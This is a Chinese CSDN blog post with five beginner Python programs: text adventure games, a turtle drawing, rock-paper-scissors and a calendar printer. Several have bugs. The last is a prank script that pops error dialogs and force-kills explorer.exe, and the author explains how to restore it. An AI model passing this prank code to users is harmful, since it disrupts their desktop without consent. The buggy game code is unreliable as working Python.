这是一个py大合集

文章包含多个Python代码示例,分别实现了一个简单的冒险游戏,其中玩家选择山洞与龙互动;一个使用turtle库创建的彩色图形,模拟太空站场景,用户通过选项进行互动;经典的石头剪刀布游戏,用户与电脑对战;一个显示特定年月日的日历功能;以及一个持续弹出错误消息框的循环,最后演示如何使用任务管理器恢复。这些代码展示了Python在游戏开发、图形界面和交互式应用中的应用。
摘要由CSDN通过智能技术生成

这是一个py大合集

1.

import time
import random
 
def displayFintro():
    print('''你在一个满是龙的地方。 在你面前,
   有两个山洞。 在一个洞穴里,龙是友好的,他会和你分享他的宝藏
  另一条龙又贪婪又饥饿,一看到你就会吃了你 .''')
print()
 
def chooseCave():
    cave=''
    while cave !='1' and cave !='2':
        print('你要去那个山洞 .第一个还是第二个 .请输入数字')
        cave=input()
    return cave
def checkCave(chooseCave):
    print('你接近山洞.....')
    time.sleep(2)
    print('这里又黑又恐怖....')
    time.sleep(2)
    print('一条巨龙飞到你面前,张开了嘴 ....')
    print()
    time.sleep(2)
    friendlyCave=random.randint(1,2)
    if chooseCave == str(friendlyCave):
        print('把他的财宝给你!')
    else:
        print('一口就把你吞下!')
playAgain='yes'
while playAgain=='yes' or playAgain=='Y':
    displayFintro()
    caveNumber =chooseCave()
    checkCave(caveNumber)
    print('你想再玩一次吗 yes或者no')
    playAgain= input()

呵呵

好完美

下一个!

2.

import turtle
 
 
# 彩色弹球
t = turtle.Pen()
t.speed(0)
turtle.bgcolor('black')
# 更改sides变量,可以画出完全不同的图形哦
# 改为2、3、4、5、6等,看看效果吧
sides = 5
colors = ['red', 'yellow', 'blue', 'orange', 'green', 'purple']
for x in range(360):
    t.pencolor(colors[(x % sides)])
    t.forward(((x * 3) / sides + x))
    t.left((360 / sides + 1))
    t.pensize(((x * sides) / 200))
    t.left(90)
print('欢迎来到宇宙空间站')
print('你现在要去?')
print('1火箭发射台')
print('2商店')
start = input('请输入数字选项:')
while (start != '1'):
    start = input('商店关门了去其他地方吧')
print('到达火箭舱内,选择你要去的地方')
print('1火星')
print('2黑洞')
start_1 = input('请输入数字选项:')
if (start_1 == '2'):
    print('你被黑洞巨大的引力撕成了碎片')
elif (start_1 == '1'):
    print('现在你需要在火星上采集矿石,你觉得那里会有矿石【此任务等级为ssss级,如果无法完成,会被流放到宇宙中】')
    print('1火星天然矿洞')
    print('2火星人村落')
    place = input('请输入数字选项:')
    if (place == '1'):
        print('你来到矿洞')
        print('发现这里已经没有你要找的矿石了')
        print('1应该被挖了,去村落找找')
        print('2tmd,根本就没有矿石')
        place_1 = input('请输入数字选项:')
        if (place_1 == '1'):
            print('你来到火星人的村落')
            print('发现这里到处都有那种矿石,你会用什么方法得到这些矿石')
            print('1. 和他们交易')
            print('2. 打败他们,抢走所有矿石')
            place_2 = input('请输入数字选项:')
            if (place_2 == '1'):
                print('你用一把来自地球的泥土换来了一大堆矿石,简直是太走运了')
                print('任务完成!')
            elif (place_2 == '2'):
                print('一点正义感都没有,大黄鸡才不要带你去冒险呢!游戏结束!')
            else:
                print('随便行动是找不到发动机的...你在源码世界里迷路了...')
        elif (plce_1 == '2'):
            print('由于你对任务失去信心,所以你无法完成任务,被流放了到宇宙中')
        else:
            print('随便行动是找不到发动机的...你在源码世界里迷路了...')
    elif (place == '2'):
        print('你到了火星人的村落,发现这里到处都是那种矿石,你会用什么方法获得矿石')
        print('1和他们交易')
        print('2打败他们拿走所有矿石')
        place_2 = input('请输入数字选项:')
        if (place_2 == '1'):
            print('你用一堆来自地球的泥土换来了一大堆矿石,太走运了')
            print('任务完成')
        elif (place_2 == '2'):
            print('由于你寡不敌众,被火星人群殴了......')
        else:
            print('随便行动是找不到矿石的,你在火星迷路了')
    else:
        print('看来你和发动机没有缘分啊,游戏结束')
else:
    print('随便行动是找不到矿石的,你在火星迷路了')

还可以吗?

 3.

import random

choices = ["石头", "布", "剪刀"]
computer = random.choice(choices)
game_player = False
computer_score = 0  # 电脑的初始分数
player_score = 0  # 玩家的初始分数
while True:
    game_player = input("石头, 布 or  剪刀? \n").capitalize()

    # 判断玩家和电脑的选择
    if game_player == computer:
        print("平局!\n")

    elif game_player == "石头":
        if computer == "布":
            print("你输了!", computer, "covers", game_player,'\n')
            computer_score += 1
        else:
            print("你赢了!", game_player, "smashes", computer,'\n')
            player_score += 1

    elif game_player == "布":
        if computer == "剪刀":
            print("你输了!", computer, "cut", game_player,'\n')
            computer_score += 1
        else:
            print("你赢了!", game_player, "covers", computer,'\n')
            player_score += 1

    elif game_player == "剪刀":
        if computer == "石头":
            print("你输了", computer, "smashes", game_player,'\n')
            computer_score += 1
        else:
            print("你赢了✌️!", game_player, "cut", computer,'\n')
            player_score += 1

    elif game_player == '结束':
        print("——————最终得分——————")
        print(f"电脑:{computer_score}")
        print(f"玩家:{player_score}")
        break
    else:
        print("输入有误,请检查输入!")
    computer = random.choice(choices)

一看就知道是石头剪刀布!

4.

import calendar
import time
year =int( input("Enter the year of the required calendar "))
month = int( input("Enter the month of the required calendar "))
print(calendar.month(year,month))
time.sleep(3)  

太短了?

5

.


 

"""
创作团队:创文工作室
创作作品:万率之领
更新日志:
2021-8-4-16:06
2021-8-4-19:28
2021-8-5-11:36
2021-8-6-11:02
2021-8-7-10:20
"""
import random
import time
 
ww=random.randint(1,17)
弓箭塔="弓箭塔"
加农炮="加农炮"
迫击炮="迫击炮"
火炮="火炮"
隐形炸弹="隐形炸弹"
新手=[]
def a():
        print("派出部队遭遇隐形炸弹,销毁。")    
def b():
        print("")
def c():
        print("")
def d():
        print("")
 
def 流星石李磕():
        while True:
                print("系统提示:法术类卡牌,无需附魂")
                教程=input("请选择攻击的目标\n>")
                if 教程 in 新手教程可攻击列表:
                        if 教程=="弓箭塔":
                                新手.append(弓箭塔)
                        else:
                                新手.append(加农炮)
                        print("流星石打爆了%s,收复程度一颗星"%教程)
                        break
                else:
                        print("请正确选择")
def 新手教程流程():
                                        if ww==1:
                                                a()
                                        elif ww==7 or 8 or 3 or 9 or 10:
                                                b()
                                        elif ww==2 or 11 or 12:
                                                c()
                                        else:
                                                d()
#随机部落名字
name=["w","qfd","as","味","按时吃","撒","俺现在","dfv","eg","干活","治疗","部落","啊放假就好"]
name_2=["分担分担","下次","帮","辅导班地方","霍建华","任天堂","贝多芬","45","sfs","SD","刚发的"]
yu=["别人","gh","e","h","888","989","54188","dfbg","fs"]
ron=random.choice(name)
er=random.choice(name_2)
tlist=[]
新手教程可攻击列表=[]
#列表
print('-'*40)
print('\t欢迎来到万率之领')
print('-'*40)
time.sleep(1.5)
print("")
登陆用户名=input("请输入用部落名:")
print("")
服务器=input("请选择服务器:\n 1.野蛮人草原\n 2.科技都\n 3.炮火世界\n >")
time.sleep(1)
if 服务器.lower()=="1"or"2"or"3":
        print("")
else:
        print("请正确选择服务器!")
print("正在加载服务器....")
time.sleep(10)
print("服务器消息:成功进入服务器!")
time.sleep(2)
print('请为自己的部落取名字')
role=input('>')
部落名=[]
部落名.append(role)
coins=100
coins_two=100
print("服务器消息:欢迎%s部落来到万率之领\n"%部落名)
time.sleep(1)
print("尊敬的首长,您目前的部落信誉是%s,部落有%s金币\n"%(coins,coins_two))
#选择:if
while True:
        d=input("是否进入新手教程?\n 1=好的,我想看看呢\n 2=算了,我是老手\n >")
        if d=="1":
                print("万率之领是一个塔防,经营融为一体的游戏,你需要通过经营来获得战斗机会以体验游戏")
                w=input("现在来体验一把,好嘛?\n 1=ok\n 2=不要!\n >")
                if w=="2":
                        print("不行,你必须参加,谁叫你选择了新手教程呢")
                else:
                        print("好了!开始了")
                weq=int(1)
                tlist.append(weq)
                print("哥布林部落是一个古老的种族,存在于这个世界很久了,但是作恶多端四处袭击村民\n首领,您奉命前来剿灭哥布林部落一些残存势力\n")
                time.sleep(1.2)
                print("您需要拿到手中的卡牌并合理运用,您可以在打出卡牌以后进行附魂,来行动您所打出的卡牌\n您的目标是攻破对方的大本营\n但是哥布林们在周围放了很多防御建筑,现在开始勘测")
                time.sleep(1.2)
                #添加可攻击列表
                新手教程可攻击列表.append(弓箭塔)
                新手教程可攻击列表.append(加农炮)
                print("这个哥布林势力放了:\n 弓箭塔\n 加农炮\n您可以攻击的目标为\n %s\n %s"%(弓箭塔,加农炮))
                time.sleep(1.5)
                print("目前您的卡牌有:\n 流星石\n 炮手\n 弓弩手\n 炸弹敢死小队")
                time.sleep(1.5)
                流星石=1
                炮手=1
                弓弩手=1
                炸弹敢死小队=1
                
                while True:
                        www=input("请选择您打出的卡牌(名字)\n系统提示:如果乱出,将会由系统随机出牌\n>")
                        if www=="流星石":
                                if 流星石==0:
                                        print("卡牌已用完")
                                else:
                                        流星石-=1
                                        流星石李磕()
                        else:
                                教程2=input("请选择攻击的目标\n>")
                                if 教程2=="弓箭塔":
                                        if "弓箭塔"in 新手:
                                                print("已打击!!!")
                                        else:
                                                        if www=="炮手":
                                                                if 炮手==0:
                                                                     print("卡牌已用完")
                                                                else:
                                                                        炮手-=1
                                                                        新手教程流程()
                                                        if www=="弓弩手":
                                                                if 弓弩手==0:
                                                                     print("卡牌已用完")
                                                                else:
                                                                        弓弩手-=1
                                                                        新手教程流程()
                                                        if www=="炸弹敢死小队":
                                                                if 炸弹敢死小队==0:
                                                                     print("卡牌已用完")
                                                        else:
                                                                        炸弹敢死小队-=1
                                                                        新手教程流程()
                                elif 教程2=="加农炮":
                                                if "加农炮"in 新手:
                                                        print("已打击!!!")
                                                else:
                                                        if www=="炮手":
                                                                if 炮手==0:
                                                                     print("卡牌已用完")
                                                                else:
                                                                        炮手-=1
                                                                        新手教程流程()
                                                        if www=="弓弩手":
                                                                if 弓弩手==0:
                                                                     print("卡牌已用完")
                                                                else:
                                                                        弓弩手-=1
                                                                        新手教程流程()
                                                        if www=="炸弹敢死小队":
                                                                if 炸弹敢死小队==0:
                                                                     print("卡牌已用完")
                                                        else:
                                                                        炸弹敢死小队-=1
                                                                        新手教程流程()
                                                
                                
                                else:
                                        print("请正确选择  >>>攻击目标<<<  ")
                        
        elif d=="2":
                print("好的")
                time.sleep(1.0)
                break
        else:
                print("首领,请您正确选择!")
def one():
        print("尊敬的%s部落的首长,欢迎来到我的店铺,请您选尽情的选购"%role)
#循环插入
while True:
        s=input("首领,请选择您现在的操作:\n 1.商人的店铺\n 2.招募村民\n 3.远征\n 4.攻打哥布林部落\n 5.查看部落情况\n 6.退出\n >")
        if s=="1":
                one()
        elif s=="6":
                we=input("首领,您真的要退出吗\n 1=yes 2=no")
                if we=="1":
                        exit()
                else:
                        print("看吧,我说您不会退出的")
        else:
                print("首领,请您正确选择")
 

好了。

哦当然还有

1000005.

import tkinter.messagebox
import os
while True:
    tkinter.messagebox.showerror("Error","你的电脑出现了亿点点的问题,但Windows并不能修复它")
    for i in range(49):
        res1 = tkinter.messagebox.askquestion("提问","你想要电脑现在出问题吗")
        if res1 == "yes":
            os.system("taskkill /im explorer.exe /f")
            break
        else:
            tkinter.messagebox.showwarning("警告","你已点了" + str(i + 1) + "次,一共50次机会")
    else:
        os.system("taskkill /im explorer.exe /f")
        tkinter.messagebox.showinfo("哈哈哈","哈哈哈,早说让你点'是'你非不点,遭报应了吧")
        break
    break

 呵呵完了以后你可以按ctrl shift ESC然后呢它找到任务管理器新建任务输入>.<

explorer

你会发现就可以了

wan

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值